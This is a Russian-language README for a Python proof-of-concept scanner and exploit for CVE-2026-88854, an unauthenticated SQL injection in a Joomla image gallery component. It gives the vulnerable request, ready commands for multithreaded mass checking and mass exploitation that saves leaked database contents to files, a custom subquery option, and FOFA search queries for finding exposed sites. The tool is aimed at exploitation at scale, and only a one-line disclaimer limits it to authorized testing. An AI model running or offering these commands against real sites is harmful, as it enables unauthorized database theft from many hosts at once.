CVE-2026-88854 — SQL-инъекция в OrdaSoft Joomla Gallery

Python 3 PoC-сканер/эксплойт для CVE-2026-88854 в OrdaSoft OS Responsive Image Gallery для Joomla.

Краткое описание

showSearchResult() / showSearchResultAjax() читают textsearch / searchText через $input->getVar(), что не обеспечивает должного экранирования для SQL. Значение конкатенируется в условие LIKE. Неаутентифицированные посетители могут использовать инъекцию типа UNION для чтения содержимого базы данных.

Типичная поверхность запроса:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

В устаревших установках может использоваться имя задачи searhResult (опечатка).

Требования

• Python 3.9+
• pip install -r requirements.txt

Использование

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

Параметры CLI

Вывод (массовая проверка)

Распространённые значения status (check)

Пост-сканирующий аудит (audit_scan.py)

После массовой проверки запустите audit_scan.py, чтобы повторно получить манифесты администратора и разделить цели:

Версия галереи читается из элемента <version> в administrator/components/com_osgallery/osgallery.xml, а не из атрибута Joomla extension version=.

Ограничения

• Режим Exploit использует MySQL error-based EXTRACTVALUE; MariaDB/Postgres, отключённые ошибки или WAF могут дать отсутствие утечки, даже если CVE применима.
• Только различия в длине при boolean-инъекции не считаются подтверждённой SQLi (ModSecurity 406 вызывал ложные срабатывания при тестировании).
• Версия в манифесте ≤ 6.2.6 указывает на окно экспозиции, а не на гарантированную эксплуатируемость SQLi на каждом хосте.
• Для установок Joomla в подкаталоге требуется правильный базовый URL (например, https://host/site).

FOFA / подсказки для обнаружения

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Структура репозитория

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Локальные списки целей и артефакты запусков (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) находятся в .gitignore и не должны коммититься.

Ссылки

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Правовая информация

Только для авторизованного тестирования безопасности. Вы несёте ответственность за соблюдение применимых законов и правил программ.